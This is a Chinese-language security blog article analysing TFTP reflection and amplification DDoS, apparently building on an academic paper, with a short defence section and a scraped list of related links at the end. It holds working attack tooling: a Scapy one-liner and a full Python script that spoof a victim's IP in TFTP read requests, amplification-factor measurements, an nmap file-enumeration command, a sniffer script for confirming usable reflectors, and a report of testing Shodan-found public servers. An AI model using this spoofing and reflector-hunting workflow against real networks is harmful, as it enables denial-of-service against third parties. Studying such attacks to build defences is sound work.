TFTP反射放大攻击浅析
0x00 前言
经由@杀戮提示,让我看看softpedia上的这篇报道,咱就来研究一下文中的使用TFTP(Trivial File Transfer Protocol,简单文件传输协议)进行反射型DDOS攻击。在报道的最后提到了Evaluation of TFTP DDoS amplification attack这篇论文,论文还是比较学术派和严谨的,其中使用GNS3和虚拟机搭建模拟环境,尽量严格控制相关变量与不变量,对TFTPD32,SolarWinds,OpenTFTP三种TFTP服务器进行研究。论文中还利用TFTP协议自身的缺陷来进行DOS攻击,同时对DOS攻击的反射因子,请求响应延迟,总吞吐量,CPU消耗率等方面进行了详细的测验与评估。
当然,自己实际地测试观察TFTP反射放大攻击的影响还是很有必要的。所以本文就在那篇论文的基础上,利用Kali2等虚拟机,对反射流量和反射因子进行检测计算,适当探究相关的限制与利用。
0x01 TFTP服务搭建
DDOS是分布式拒绝服务攻击,研究的基础也就在于拒绝服务;论文中三种TFTP服务器的测试也是为了相互对比参照,由于不同服务器的特性不同而响应的行为也不同,其中的任何一种服务也具有通用的特性。所以为了方便验证研究,我们就简单地搭建在Kali2上搭建tftp服务(对于协议特点的学习,我比较喜欢直观的办法,搭建好必要服务后抓包看其数据包的结构),对其反射放大流量的利用进行测试,而暂且抛开分布式和其他类型服务器的对比话题。相信这些都是见微知著的,也欢迎你进行其他方面的深入探究交流。
我们在更新源了的Kali2上进行tftp的安装,详细过程可见这里和那里。在Kali上自带的有tftp客户端,我们可以不用再进行安装。其中主要使用了使用xinetd超级守护进程更加方便安全地管理使用tftp服务。最后在服务都安装好后,测试图如下:
在这里值得一提的是,客户端上键入?
发现有put
命令可以直接上传文件,但是会引发Error code 2: Access violation
错误。究其原因查看man
手册可知道,因为咱们之前在登录的时候没有经过认证就可以读取文件,所以处于安全的考虑,只有文件存在而且对于所有的用户都可写才能put
相应文件,这一点也会成为之后攻击的一个限制。
0x02 TFTP协议简介
对于TFTP协议百度和WiKi也有比较详细的介绍,这里不多赘述。我觉得其中最需要理解的有以下三点:
- TFTP是基于UDP的,也就是没有状态性,其端口号为69
- 无认证过程(对源地址和目的地址均无)
- TFTP几种不同类型的数据包在传递信息时的交互过程
下面给出TFTP数据包的几种类型:
TFTP Formats Type Op # Format without header 2 bytes string 1 byte string 1 byte
-----------------------------------------------
RRQ/ | 01/02 | Filename | 0 | Mode | 0 |
WRQ -----------------------------------------------
2 bytes 2 bytes n bytes
---------------------------------
DATA | 03 | Block # | Data |
---------------------------------
2 bytes 2 bytes
-------------------
ACK | 04 | Block # |
--------------------
2 bytes 2 bytes string 1 byte
----------------------------------------
ERROR | 05 | ErrorCode | ErrMsg | 0 |
----------------------------------------
就拿A对S上的RRQ (read request)
文件过程来演示一下,如下图:
具体过程文字描述如下:
- A向S的69端口发送RRQ数据包请求读取文件,其中包括文件名和传输使用的模式
- S再新开一个端口发送DATA数据包开始传输文件,其中Data段中包含着文件内容,如果大于512字节(默认值),就会进行分块传输(对应标记Block的值),直到最后一次发送的数据包Data段小于512字节
- A在接收到DATA数据包后就向S发送ACK数据包进行确认,其中的Block就为接收到的DATA数据包中的Blocak,然后S才会继续发下一个Block的DATA数据包
- 如果S没有接收到A的ACK数据包,S就会重传刚才发过的DATA数据包
实际测试的抓包图如下:
0x03 反射放大攻击
反射是过程,放大是结果。对于拒绝服务攻击来说,常用的方式有这么几种:1.滥用合理的服务请求;2.制造高流量无用数据;3.利用传输协议缺陷;4.利用服务程序的漏洞。TFTP反射放大攻击就是利用了协议上的缺陷或者说是特性,其中关键点有二:
- 没有认证过程,这样就可以随意登录读取文件,同时伪造源(攻击目标)IP地址,为反射做好准备
- 之前提到的重传机制,当服务端在没有收到我们的攻击目标的ACK包时,就会重传一定的次数给攻击目标,达到放大的目的
下面我就在本机上借由Scapy伪造源地址数据包,向服务端(Kali2)发送RRQ数据包请求get
服务器上的文件,进而将响应DATA包发射给目标机(XP),诱发重传机制造成放大攻击。利用Scapy如下:
1
2
3
|
>>> a = IP(dst = '192.168.1.104' ,src = '192.168.1.102' ) / UDP(sport = 445 ,dport = 69 ) / TFTP() / TFTP_RRQ(filename = 'larry' ) >>> a <IP frag = 0 proto = udp src = 192.168 . 1.102 dst = 192.168 . 1.104 |<UDP sport = microsoft_ds dport = tftp |<TFTP op = RRQ |<TFTP_RRQ filename = 'larry' |>>>> |
也还是有两点需要说明,我们这里伪造的源端口用的是XP SP3默认开启的UDP端口之一(123,137,138,445,500,1900),当然你也可以用其他你在攻击目标上扫描出来的端口;另一点就是为了达到放大数据包大小的最佳效果,我们这里RRQ
的已知文件的大小必须大于512字节为好。三个主机在同一个网段下的测试结果图如下:
在搭建传统的LAN环境的时候,会要求TFTP服务器对所有客户端是可连接的,通常会将其拿来当做内部网络网关。如果这些TFTP服务器同时暴露在外的话,我们就可以利用其在网络当中的角色加上对源地址无验证的缺陷,对内网机器进行DOS攻击。当然鸡肋的会是我们不知道在内网当中有哪些机器,就算攻击成功了,由于没有回执响应,我们就不知道实际情况是如何而“盲打”一通了。在vbox当中创建一个内网环境,同时给服务端设置两个网卡,测试结果如下:
从以上的测试结果可以看出由于tftpd服务的特性,在服务端未接收到ACK数据包时,会默认进行5次重传,并且重传时间间隔(可设置)为5秒。对于不同的反射放大攻击,例如Smurf,DNS,NTP,TCP-based,SNMP等反射放大攻击,研究时通常会计算其中的反射因子/放大倍数作为相互比较的标准。在基于tftpd的TFTP反射放大攻击中,这里响应数据包大小总和比上请求数据包大小为:558*5/60=46.5
。为了简单地对比一下,我还是在XP上下载了tftpd32,然后再去get
自带的文件tftpd32.chm
(其实在默认状态下tftpd32是允许put
文件的,但也可在Setting
中设置为Read Only
模式)。tftpd32的特性就是会重传6次,时间间隔依次为1,2,3,3,3秒,最后还会发送一个ERROR数据包。这里抛开ERROR数据包计算反射因子的话就是558*6/62=54
。
在论文中的tftpd32版本可能有所不同,反射因子为59.78
,这个放大因子和其他反射放大攻击相比较还是很可观的:
0x04 限制及解决方案
在以上的测试过程中,对于TFTP反射放大攻击利用的限制点主要有三点:
1. 获取TFTP服务器上存在的文件名
虽然服务器端无认证过程可以随意登录,但是无法列目录,而造成反射的基础就是需要服务端能够发送出DATA数据包。这就需要我们一个个get
测试看看TFTP服务器上存在哪些常见的文件了,我们可以对思科(广泛使用TFTP服务)设备文件和其他你认为有可能存在的文件进行测试。还好nmap在这里给我们提供了一个tftp-enum.nse脚本,可以如下使用:
1
|
$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args= "tftp-enum.filelist=customlist.txt" <host> |
如果未加--script-args
的话,脚本会默认调用tftplist.txt文件去枚举可能存在的文件。当然,tftp-enum.filelist
可以指定自定义的列表进行枚举扫描。测试结果示例如下:
论文当中说是有599600台(2012年扫描结果)对外开放的TFTP服务器可能会被用来进行发射放大攻击,但在shodan上搜索tftp
的结果也只有10w左右的样子,可能有待进一步的扫描发现。以下是我在shodan中搜索出的999个IP进行测试,其中有47个服务器可以get
到默认的文件:
2. TFTP服务器上已知文件的大小
反射过来的DATA数据包的大小取决于读取文件的内容大小,这样就决定了我们最终反射放大的程度(相对于已知文件的文件名长度——影响请求包大小)。如果DATA数据包过小造成的影响也就很有限的了。
3. 确定TFTP服务器可利用
除了以上两点,如果存在其他的过滤机制,我们最终就需要测试一下该TFTP服务是否可利用,在攻击端伪造简单的数据包触发其反射到指定的主机上,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/usr/bin/env python #coding=utf-8 import optparse import sys import logging from scapy. all import * class Trigger( object ): def __init__( self , target, port, filename, server): logging.getLogger( 'scapy.runtime' ).setLevel(logging.ERROR) self .target = target self .port = port self .filename = filename self .server = server def run( self ): t = IP(src = self .target, dst = self .server) / UDP(sport = self .port, dport = 69 ) / TFTP() / TFTP_RRQ(filename = self .filename) send(t) print '[+] The trigger has benn sent !' if __name__ = = '__main__' : parser = optparse.OptionParser( 'uasge: %prog [options]' ) parser.add_option( '-t' , '--target' , default = None , help = 'The ip of target' ) parser.add_option( '-f' , '--filename' , default = 'larry' , help = 'The filename for RRQ' ) parser.add_option( '-p' , '--port' , type = int , default = 2333 , help = 'The src port of target' ) (options, args) = parser.parse_args() if len (args) < 1 or options.target = = None : parser.print_help() sys.exit( 0 ) trigger = Trigger(target = options.target, port = options.port, filename = options.filename, server = args[ 0 ]) trigger.run() |
在我们之前指定的主机上检测一下是否有如期的DATA数据包到来即可,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
#!/usr/bin/env python #coding=utf-8 import optparse import sys import logging from scapy. all import * class Sniff( object ): def __init__( self , port): logging.getLogger( 'scapy.runtime' ).setLevel(logging.ERROR) self .port = port def run( self ): try : sniff(prn = self .udp_monitor_callback, filter = 'udp' , store = 0 ) except KeyboardInterrupt as e: print '[+] Bye !' sys.exit( 0 ) def udp_monitor_callback( self , pkt): if pkt.getlayer(Raw): raw_load = pkt.getlayer(Raw).load if pkt[UDP].dport = = self .port and raw_load[: 4 ] = = '\x00\x03\x00\x01' : print '[+] The server %s is available' % (pkt[IP].src) sys.exit( 0 ) if __name__ = = '__main__' : parser = optparse.OptionParser( 'usage: %prog [options]' ) parser.add_option( '-p' , '--port' , type = int , default = 2333 , help = 'The port from server' ) (options, args) = parser.parse_args() if len (args) > 0 : parser.print_help() sys.exit( 0 ) s = Sniff(port = options.port) s.run() |
这样一放一收就可以知道该TFTP服务器是否可以利用了。
0x05 防御及相关对策
- 虽然有些TFTP服务器因为配置错误而暴露在外,但还是应该利用防火墙将其从互联网上隔离
- 对流经TFTP服务的流量设置相关入侵检测机制
- 将重传(数据包)率设置为1,但还是需要和服务不可达的情况做一下平衡
- 简化自定义错误消息(有些tftp服务具有在重传无响应后还会发送ERROR数据包,间接将流量放大);记录响应的日志;限制请求数据包的数量
TFTP反射放大攻击浅析的更多相关文章
- Memcached服务器UDP反射放大攻击
1.前言 2月28日,Memcache服务器被曝出存在UDP反射放大攻击漏洞.攻击者可利用这个漏洞来发起大规模的DDoS攻击,从而影响网络正常运行.漏洞的形成原因为Memcache 服务器UDP 协议 ...
- DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器
DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...
- MDNS DDoS 反射放大攻击——攻击者假冒被攻击者IP向网络发送DNS请求,域名为“_services._dns-sd._udp.local”,这将引起本地网络中所有提供服务的主机都向被攻击者IP发送DNS响应,列举网络中所有服务
MDNS Reflection DDoS 2015年3月,有报告叙述了mDNS 成为反射式和放大式 DDoS 攻击中所用媒介的可能性,并详述了 mDNS 反射式攻击的原理和相应防御方式.Q3,Akam ...
- CLDAPReflectionDDoS(CLDAP反射放大攻击)
CLDAP Reflection DDoS 0x01 LDAP: 全称为Lightweight Directory Access Protocol,即轻量目录访问协议,基于X.500标准: 目录服务就 ...
- 基于UDP的DDos反射放大攻击
转自:https://www.us-cert.gov/ncas/alerts/TA14-017A Protocol Bandwidth Amplification Factor DNS 28 to 5 ...
- 可以通过shadowserver来查看开放的mdns(用以反射放大攻击)——中国的在 https://mdns.shadowserver.org/workstation/index.html
Open mDNS Scanning Project 来自:https://mdns.shadowserver.org/ If you are looking at this page, then m ...
- 记一次ntp反射放大ddos攻击
2018/3/26 ,共计310G左右的DDoS攻击 临时解决办法:将web服务转移到同生产一个内网段的备份服务器a上,a提供web端口80,数据库通过内网连接还是沿用生产数据库. 后续解决办法:通过 ...
- NTP服务放大攻击的解决办法
什么是NTP服务? 网络时间协议NTP(Network Time Protocol)是用于互联网中时间同步的标准互联网协议.NTP服务器通过NTP服务向网络上的计算机或其他设备提供标准的授时服务,以保 ...
- CDN流量放大攻击思路
首先,为了对CDN进行攻击,我们必须清楚CDN的工作原理,这里我们再来简单介绍一下CDN的工作模型. CDN的全称是Content Delivery Network(内容分发网络),通过在网络各处的加 ...
随机推荐
- linux实操_shell设置环境变量
1.定义环境变量 在/etc/profile文件中定义一个环境变量 2.查看环境变量 echo $WDC_HOME 3.在shell程序中实用WDC_HOME
- Java并发包--LinkedBlockQueue
转载请注明出处:http://www.cnblogs.com/skywang12345/p/3503458.html LinkedBlockingQueue介绍 LinkedBlockingQueue ...
- jmeter接口测试-使用rsa加密解密算法
本篇介绍jmeter 使用rsa算法进行加密参数 如果测试过程中,部分接口采用了rsa加密算法,我们的jmeter 也是可以直接拿来调用的,不需要开发配合去掉加密代码! 直接上代码 import or ...
- springboot @async 无效问题
在@SpringBootApplication启动类 添加注解@EnableAsync 异步方法使用注解@Async ,返回值为void或者Future 切记一点 ,异步方法和调用方法一定要写在不同的 ...
- node.js的iconv模块----在linux上读取windows编码文件
有时候我们在windows上会保存一些中文文字信息文件,然而由于编码集的差异,这文件在linux上显示为乱码,其中一种解决方法是node.js的iconv模块 var fs = require('fs ...
- 接口强制删除namespace 为Terminating的方法
kubectl get ns qa01 -o json > qa01.json kubectl proxy --port=8081 curl -k -H "Content-Type: ...
- centos7下用kubeadm安装k8s集群并使用ipvs做高可用方案
1.准备 1.1系统配置 在安装之前,需要先做如下准备.三台CentOS主机如下: 配置yum源(使用腾讯云的) 替换之前先备份旧配置 mv /etc/yum.repos.d/CentOS-Base. ...
- Java三大特征--多态
1.定义 允许不同类的对象对同一消息做出响应,即同一消息可以根据发送对象的不同而采用多种不同的行为方式. 2.存在条件 2.1存在继承关系 2.2子类重写了父类方法 2.3父类类型的变量指向子类对象的 ...
- Window操作系统_根据端口查看进行PID 并杀掉进程
Windows 如何查看本地端口被进程占用的情况? 传送门 Windows 根据端口查看进行PID 并杀掉进程[推荐] 传送门 转载目的:做JavaWeb项目时总提示我80/8080端口号被占用... ...
- 为ubuntu找个能用的桌面,顺便进行适当的改造
最近,开始玩ros,结果官方推荐ubuntu linux,虽然都是差不多的linux,无非就是软件包形式不同而已.但是,个人对ubuntu的unity桌面实在是没有爱,最让人无语的是,kubuntu无 ...